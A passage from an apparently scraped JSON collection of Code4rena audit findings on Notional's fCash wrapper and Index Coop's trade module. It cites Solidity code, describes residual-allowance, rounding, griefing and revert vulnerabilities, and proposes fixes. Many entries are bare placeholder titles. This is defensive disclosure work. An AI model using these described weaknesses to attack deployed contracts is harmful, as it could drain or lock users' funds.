consume the exact maximum amount during minting. The following piece of code shows that having some residual allowance is expected. The `_approve` function will not set the allowance unless there is insufficient allowance. [https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L493](https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L493) ```solidity /** * @dev Approve the given wrappedFCash instance to spend the setToken's sendToken */ function _approve( ISetToken _setToken, IWrappedfCashComplete _fCashPosition, IERC20 _sendToken, uint256 _maxAssetAmount ) internal { if(IERC20(_sendToken).allowance(address(_setToken), address(_fCashPosition)) < _maxAssetAmount) { bytes memory approveCallData = abi.encodeWithSelector(_sendToken.approve.selector, address(_fCashPosition), _maxAssetAmount); _setToken.invoke(address(_sendToken), 0, approveCallData); } } ``` ## Impact Having residual allowance increases the risk of the asset tokens being stolen from the SetToken contract. SetToken contract is where all the tokens/assets are held. If the Notional's fCash wrapper contract is compromised, it will allow the compromised fCash wrapper contract to withdraw funds from the SetToken contract due to the residual allowance. Note that Notional's fCash wrapper contract is not totally immutable, as it is a upgradeable contract. This is an additional risk factor to be considered. If the Notional's deployer account is compromised, the attacker could upgrade the Notional's fCash wrapper contract to a malicious one to withdraw funds from the Index Coop's SetToken contract due to the residual allowance. Index Coop and Notional are two separate protocols and teams. Thus, it is a good security practice not to place any trust on external party wherever possible to ensure that if one party is compromised, it won't affect the another party. Thus, there should not be any residual allowance that allows Notional's contract to withdraw fund from Index Coop's contract in any circumstance. In the worst case scenario, a \"lazy\" manager might simply set the `_maxAssetAmount` to `type(uint256).max`. Thus, this will result in large amount of residual allowance left, and expose the SetToken contract to significant risk. ## Recommended Mitigation Steps Approve the allowance on-demand whenever _`mintFCashPosition` is called, and reset the allowance back to zero after each minting process to eliminate any residual allowance. ```diff function _mintFCashPosition( ISetToken _setToken, IWrappedfCashComplete _fCashPosition, IERC20 _sendToken, uint256 _fCashAmount, uint256 _maxSendAmount ) internal returns(uint256 sentAmount) { if(_fCashAmount == 0) return 0; bool fromUnderlying = _isUnderlying(_fCashPosition, _sendToken); _approve(_setToken, _fCashPosition, _sendToken, _maxSendAmount); uint256 preTradeSendTokenBalance = _sendToken.balanceOf(address(_setToken)); uint256 preTradeReceiveTokenBalance = _fCashPosition.balanceOf(address(_setToken)); _mint(_setToken, _fCashPosition, _maxSendAmount, _fCashAmount, fromUnderlying) ..SNIP.. + // Reset the allowance back to zero after minting + _approve(_setToken, _fCashPosition, _sendToken, 0); } ``` Update the `_approve` accordingly to remove the if-statement related to residual allowance. ```diff function _approve( ISetToken _setToken, IWrappedfCashComplete _fCashPosition, IERC20 _sendToken, uint256 _maxAssetAmount ) internal { - if(IERC20(_sendToken).allowance(address(_setToken), address(_fCashPosition)) < _maxAssetAmount) { bytes memory approveCallData = abi.encodeWithSelector(_sendToken.approve.selector, address(_fCashPosition), _maxAssetAmount); _setToken.invoke(address(_sendToken), 0, approveCallData); - } } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/158", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Rounding Issues In Certain Functions", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/155", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "Notional"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L52 https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L134 # Vulnerability details ## Background Per EIP 4626's Security Considerations (https://eips.ethereum.org/EIPS/eip-4626) > Finally, ERC-4626 Vault implementers should be aware of the need for specific, opposing rounding directions across the different mutable and view methods, as it is considered most secure to favor the Vault itself during calculations over its users: > > - If (1) it\u2019s calculating how many shares to issue to a user for a certain amount of the underlying tokens they provide or (2) it\u2019s determining the amount of the underlying tokens to transfer to them for returning a certain amount of shares, it should round *down*. > - If (1) it\u2019s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it\u2019s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round *up*. Thus, the result of the `previewMint` and `previewWithdraw` should be rounded up. ## Proof-of-Concept The current implementation of `convertToShares` function will round down the number of shares returned due to how solidity handles Integer Division. ERC4626 expects the returned value of `convertToShares` to be rounded down. Thus, this function behaves as expected. [https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L52](https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L52) ```solidity function convertToShares(uint256 assets) public view override returns (uint256 shares) { uint256 supply = totalSupply(); if (supply == 0) { // Scales assets by the value of a single unit of fCash uint256 unitfCashValue = _getPresentValue(uint256(Constants.INTERNAL_TOKEN_PRECISION)); return (assets * uint256(Constants.INTERNAL_TOKEN_PRECISION)) / unitfCashValue; } return (assets * totalSupply()) / totalAssets(); } ``` ERC 4626 expects the result returned from `previewWithdraw` function to be rounded up. However, within the `previewWithdraw` function, it calls the `convertToShares` function. Recall earlier that the `convertToShares` function returned a rounded down value, thus `previewWithdraw` will return a rounded down value instead of round up value. Thus, this function does not behave as expected. [https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L134](https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L134) ```solidity function previewWithdraw(uint256 assets) public view override returns (uint256 shares) { if (hasMatured()) { shares = convertToShares(assets); } else { // If withdrawing non-matured assets, we sell them on the market (i.e. borrow) (uint16 currencyId, uint40 maturity) = getDecodedID(); (shares, /* */, /* */) = NotionalV2.getfCashBorrowFromPrincipal( currencyId, assets, maturity, 0, block.timestamp, true ); } } ``` `previewWithdraw` and `previewMint` functions rely on `NotionalV2.getfCashBorrowFromPrincipal` and `NotionalV2.getDepositFromfCashLend` functions. Due to the nature of time-boxed contest, I was unable to verify if `NotionalV2.getfCashBorrowFromPrincipal` and `NotionalV2.getDepositFromfCashLend` functions return a rounded down or up value. If a rounded down value is returned from these functions, `previewWithdraw` and `previewMint` functions would not behave as expected. ## Impact Other protocols that integrate with Notional's fCash wrapper might wrongly assume that the functions handle rounding as per ERC4626 expectation. Thus, it might cause some intergration problem in the future that can lead to wide range of issues for both parties. ## Recommended Mitigation Steps Ensure that the rounding of vault's functions behave as expected. Following are the expected rounding direction for each vault function: - previewMint(uint256 shares) - Round Up \u2b06 - previewWithdraw(uint256 assets) - Round Up \u2b06 - previewRedeem(uint256 shares) - Round Down \u2b07 - previewDeposit(uint256 assets) - Round Down \u2b07 - convertToAssets(uint256 shares) - Round Down \u2b07 - convertToShares(uint256 assets) - Round Down \u2b07 `previewMint` returns the amount of assets that would be deposited to mint specific amount of shares. Thus, the amount of assets must be rounded up, so that the vault won't be shortchanged. `previewWithdraw` returns the amount of shares that would be burned to withdraw specific amount of asset. Thus, the amount of shares must to be rounded up, so that the vault won't be shortchanged. Following is the OpenZeppelin's vault implementation for rounding reference: [https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20TokenizedVault.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20TokenizedVault.sol) Alternatively, if such alignment of rounding could not be achieved due to technical limitation, at the minimum, document this limitation in the comment so that the developer performing the integration is aware of this. "}, {"title": "Users Might Not Be Able To Purchase Or Redeem SetToken", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/154", "labels": ["bug", "help wanted", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "Index"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L309 https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L385 # Vulnerability details ## Proof-of-Concept Whenever a setToken is issued or redeemed, the `moduleIssueHook` and `moduleRedeemHook` will be triggered. These two hooks will in turn call the `_redeemMaturedPositions` function to ensure that no matured fCash positions remain in the Set by redeeming any matured fCash position. [https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L309](https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L309) ```solidity /** * @dev Hook called once before setToken issuance * @dev Ensures that no matured fCash positions are in the set when it is issued */ function moduleIssueHook(ISetToken _setToken, uint256 /* _setTokenAmount */) external override onlyModule(_setToken) { _redeemMaturedPositions(_setToken); } /** * @dev Hook called once before setToken redemption * @dev Ensures that no matured fCash positions are in the set when it is redeemed */ function moduleRedeemHook(ISetToken _setToken, uint256 /* _setTokenAmount */) external override onlyModule(_setToken) { _redeemMaturedPositions(_setToken); } ``` The `_redeemMaturedPositions` will loop through all its fCash positions and attempts to redeem any fCash position that has already matured. However, if one of the fCash redemptions fails, it will cause the entire function to revert. If this happens, no one could purchase or redeem the setToken because `moduleIssueHook` and `modileRedeemHook` hooks will revert every single time. Thus, the setToken issuance and redemption will stop working entirely and this setToken can be considered \"bricked\". [https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L385](https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L385) ```solidity /** * @dev Redeem all matured fCash positions for the given SetToken */ function _redeemMaturedPositions(ISetToken _setToken) internal { ISetToken.Position[] memory positions = _setToken.getPositions(); uint positionsLength = positions.length; bool toUnderlying = redeemToUnderlying[_setToken]; for(uint256 i = 0; i < positionsLength; i++) { // Check that the given position is an equity position if(positions[i].unit > 0) { address component = positions[i].component; if(_isWrappedFCash(component)) { IWrappedfCashComplete fCashPosition = IWrappedfCashComplete(component); if(fCashPosition.hasMatured()) { (IERC20 receiveToken,) = fCashPosition.getToken(toUnderlying); if(address(receiveToken) == ETH_ADDRESS) { receiveToken = weth; } uint256 fCashBalance = fCashPosition.balanceOf(address(_setToken)); _redeemFCashPosition(_setToken, fCashPosition, receiveToken, fCashBalance, 0); } } } } } ``` ## Impact User will not be able to purchase or redeem the setToken. User's fund will stuck in the SetToken Contract. Unable to remove matured fCash positions from SetToken and update positions of its asset token. ## Recommended Mitigation Steps This is a problem commonly encountered whenever a method of a smart contract calls another contract \u2013 you cannot rely on the other contract to work 100% of the time, and it is dangerous to assume that the external call will always be successful. It is recommended to: - Consider alternate method of updating the asset position so that the SetToken's core functions (e.g. issuance and redemption) will not be locked if one of the matured fCash redemptions fails. - Evaluate if `_redeemMaturedPositions` really need to be called during SetToken's issuance and redemption. If not, consider removing them from the hooks, so that any issue or revert within `_redeemMaturedPositions` won't cause the SetToken's issuance and redemption functions to stop working entirely. - Consider implementing additional function to give manager/user an option to specify a list of matured fCash positions to redeem instead of forcing them to redeem all matured fCash positions at one go. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/149", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/147", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/141", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/140", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/134", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/131", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}] \ No newline at end of file diff --git a/results/codearena_findings_18.json b/results/codearena_findings_18.json new file mode 100644 index 0000000..b7806af --- /dev/null +++ b/results/codearena_findings_18.json @@ -0,0 +1 @@ +[{"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/130", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "fCash of the wrong maturity and asset can be sent to wrapper address before wrapper is deployed ", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/115", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "Notional"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashLogic.sol#L131 # Vulnerability details ## Impact Minting becomes impossible ## Proof of Concept onERC1155Received is only called when the size of the code deployed at the address contains code. Since create2 is used to deploy the contract, the address can be calculated before the contract is deployed. A malicious actor could send the address fCash of a different maturity or asset before the contract is deployed and since nothing has been deployed, onERC1155Received will not be called and the address will accept the fCash. After the contract is deployed and correct fCash is sent to the address, onERC1155Received will check the length of the assets held by the address and it will be more than 1 (fCash of correct asset and maturity and fCash with wrong maturity or asset sent before deployment). This will cause the contract to always revert essentially breaking the mint completely. ## Tools Used ## Recommended Mitigation Steps When the contract is created create a function that reads how many fCash assets are at the address and send them away if they aren't of the correct asset and maturity "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/114", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/109", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/107", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "INITIALIZER MODIFIER IS SUSCEPTIBLE TO REENTRANCY DURING INITIALIZATION", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-notional-coop-findings", "body": "INITIALIZER MODIFIER IS SUSCEPTIBLE TO REENTRANCY DURING INITIALIZATION"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/105", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "transferfCash does not work as expected", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/98", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "Notional"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/main/notional-wrapped-fcash/contracts/wfCashLogic.sol#L184 # Vulnerability details ## Impact If maturity is reached and user has asked for redeem with opts.transferfCash as true, then if (hasMatured()) turns true at wfCashLogic.sol#L216 causing fcash to be cashed out in underlying token and then sent to receiver. So receiver obtains underlying when fcash was expected. The sender wont get an error thinking fcash transfer was success ## Proof of Concept 1. User A calls redeem with opts.transferfCash as true and receiver as User B 2. Since maturity is reached so instead of transferring the fCash, contract would simply cash out fCash and sent the underlying token to the receiver which was not expected ## Recommended Mitigation Steps If opts.transferfCash is true and maturity is reached then throw an error mentioning that fCash can no longer be transferred "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "The logic of _isUnderlying() in NotionalTradeModule is wrong which will cause mintFCashPosition() and redeemFCashPosition() revert on `fcash` tokens which asset token is underlying token (asset.tokenType == TokenType.NonMintable)", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/87", "labels": ["bug", "help wanted", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "Index"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L558-L575 # Vulnerability details ## Impact For some `fcash` the asset token is underlying token (`asset.tokenType == TokenType.NonMintable`) and `NotionalV2` will not handle minting or burning when it is called with `useUnderlying==True` for those `fcash`s (according to what I asked from sponsor). In summery most of the logics in `NotionalTradeModule ` will not work for those `fcash` tokens because `_isUnderlying()` returns `true` result for those tokens which would make `NotionalTradeModule`'s logic for `mintFCashPosition()` and `redeemFCashPosition()` will eventually call `redeemToUnderlying()` and `mintViaUnderlying()` in `wfCashLogic` and those function in `wfCashLogic` will call `NotionalV2` with `useUnderlying==True` and `NotionalV2` will fail and revert for `fcash` tokens which asset token is underlying token, so the whole transaction will fail and `_mintFCashPosition()` and `_redeemFCashPosition()` logic in `NotionalTradeModule ` will not work for those `fcash` tokens and manager can't add them to `set` protocol. ## Proof of Concept when for some `fcash` asset token is underlying token, all calls to `NotionalV2` should be with `useUnderlying==False`. but `_isUnderlying()` in `NotionalTradeModule` contract first check that `isUnderlying = _paymentToken == underlyingToken` so for `fcash` tokens where asset token is underlying token it is going to return `isUnderlying==True`. let's assume that for some specific `fcash` asset token is underlying token (`asset.tokenType == TokenType.NonMintable`) and follow the code execution. This is `_isUnderlying()` code in `NotionalTradeModule`: ``` function _isUnderlying( IWrappedfCashComplete _fCashPosition, IERC20 _paymentToken ) internal view returns(bool isUnderlying) { (IERC20 underlyingToken, IERC20 assetToken) = _getUnderlyingAndAssetTokens(_fCashPosition); isUnderlying = _paymentToken == underlyingToken; if(!isUnderlying) { require(_paymentToken == assetToken, \"Token is neither asset nor underlying token\"); } } ``` As you can see it calls `_getUnderlyingAndAssetTokens()` and then check `_paymentToken == underlyingToken` to see that if payment token is equal to `underlyingToken`. `_getUnderlyingAndAssetTokens()` uses `getUnderlyingToken()` and `getAssetToken()` in `wfCashBase`. This is `getUnderlyingToken()` code in `wfCashBase`: ``` /// @notice Returns the token and precision of the token that this token settles /// to. For example, fUSDC will return the USDC token address and 1e6. The zero /// address will represent ETH. function getUnderlyingToken() public view override returns (IERC20 underlyingToken, int256 underlyingPrecision) { (Token memory asset, Token memory underlying) = NotionalV2.getCurrency(getCurrencyId()); if (asset.tokenType == TokenType.NonMintable) { // In this case the asset token is the underlying return (IERC20(asset.tokenAddress), asset.decimals); } else { return (IERC20(underlying.tokenAddress), underlying.decimals); } } ``` As you can see for our specific `fcash` token this function will return asset token as underlying token. so for this specific `fcash` token, the asset token and underlying token will be same in `_isUnderlying()` of `NationalTradeModule` but because code first check `isUnderlying = _paymentToken == underlyingToken` so the function will return `isUnderlying=True` as a result for our specific `fcash` token (which asset token is underlying token) This is `_mintFCashPosition()` and `_redeemFCashPosition()` code in `NotionalTradeModule `: ``` /** * @dev Redeem a given fCash position from the specified send token (either underlying or asset token) * @dev Alo adjust the components / position of the set token accordingly */ function _mintFCashPosition( ISetToken _setToken, IWrappedfCashComplete _fCashPosition, IERC20 _sendToken, uint256 _fCashAmount, uint256 _maxSendAmount ) internal returns(uint256 sentAmount) { if(_fCashAmount == 0) return 0; bool fromUnderlying = _isUnderlying(_fCashPosition, _sendToken); _approve(_setToken, _fCashPosition, _sendToken, _maxSendAmount); uint256 preTradeSendTokenBalance = _sendToken.balanceOf(address(_setToken)); uint256 preTradeReceiveTokenBalance = _fCashPosition.balanceOf(address(_setToken)); _mint(_setToken, _fCashPosition, _maxSendAmount, _fCashAmount, fromUnderlying); (sentAmount,) = _updateSetTokenPositions( _setToken, address(_sendToken), preTradeSendTokenBalance, address(_fCashPosition), preTradeReceiveTokenBalance ); require(sentAmount <= _maxSendAmount, \"Overspent\"); emit FCashMinted(_setToken, _fCashPosition, _sendToken, _fCashAmount, sentAmount); } /** * @dev Redeem a given fCash position for the specified receive token (either underlying or asset token) * @dev Alo adjust the components / position of the set token accordingly */ function _redeemFCashPosition( ISetToken _setToken, IWrappedfCashComplete _fCashPosition, IERC20 _receiveToken, uint256 _fCashAmount, uint256 _minReceiveAmount ) internal returns(uint256 receivedAmount) { if(_fCashAmount == 0) return 0; bool toUnderlying = _isUnderlying(_fCashPosition, _receiveToken); uint256 preTradeReceiveTokenBalance = _receiveToken.balanceOf(address(_setToken)); uint256 preTradeSendTokenBalance = _fCashPosition.balanceOf(address(_setToken)); _redeem(_setToken, _fCashPosition, _fCashAmount, toUnderlying); (, receivedAmount) = _updateSetTokenPositions( _setToken, address(_fCashPosition), preTradeSendTokenBalance, address(_receiveToken), preTradeReceiveTokenBalance ); require(receivedAmount >= _minReceiveAmount, \"Not enough received amount\"); emit FCashRedeemed(_setToken, _fCashPosition, _receiveToken, _fCashAmount, receivedAmount); } ``` As you can see they both uses `_isUnderlying()` to find out that if `_sendToken` is asset token or underlying token. for our specific `fcash` token, the result of `_isUnderlying()` will be `True` and `_mintFCashPosition()` and `_redeemFCashPosition()` will call `_mint()` and `_redeem()` with `toUnderlying` set as `True`. This is `_mint()` and `_redeem()` code: ``` /** * @dev Invokes the wrappedFCash token's mint function from the setToken */ function _mint( ISetToken _setToken, IWrappedfCashComplete _fCashPosition, uint256 _maxAssetAmount, uint256 _fCashAmount, bool _fromUnderlying ) internal { uint32 minImpliedRate = 0; bytes4 functionSelector = _fromUnderlying ? _fCashPosition.mintViaUnderlying.selector : _fCashPosition.mintViaAsset.selector; bytes memory mintCallData = abi.encodeWithSelector( functionSelector, _maxAssetAmount, uint88(_fCashAmount), address(_setToken), minImpliedRate, _fromUnderlying ); _setToken.invoke(address(_fCashPosition), 0, mintCallData); } /** * @dev Redeems the given amount of fCash token on behalf of the setToken */ function _redeem( ISetToken _setToken, IWrappedfCashComplete _fCashPosition, uint256 _fCashAmount, bool _toUnderlying ) internal { uint32 maxImpliedRate = type(uint32).max; bytes4 functionSelector = _toUnderlying ? _fCashPosition.redeemToUnderlying.selector : _fCashPosition.redeemToAsset.selector; bytes memory redeemCallData = abi.encodeWithSelector( functionSelector, _fCashAmount, address(_setToken), maxImpliedRate ); _setToken.invoke(address(_fCashPosition), 0, redeemCallData); } ``` As you can see they are using `_toUnderlying` value to decide calling between (`mintViaUnderlying()` or `mintViaAsset()`) and (`redeemToUnderlying()` or `redeemToAsset()`), for our specific `fcash` `_toUnderlying` will be `True` so those functions will call `mintViaUnderlying()` and `redeemToUnderlying()` in `wfCashLogic`. `mintViaUnderlying()` and `redeemToUnderlying()` in `wfCashLogic` execution flow eventually would call `NotionalV2` functions with `useUnderlying=True` for this specific `fcash` token, but `NotionalV2` will revert for that call because for that `fcash` token asset token is underlying token and `NotionalV2` can't handle calls with `useUnderlying==True` for that `fcash` Token. This will cause all the transaction to fail and manager can't call `redeemFCashPosition()` or 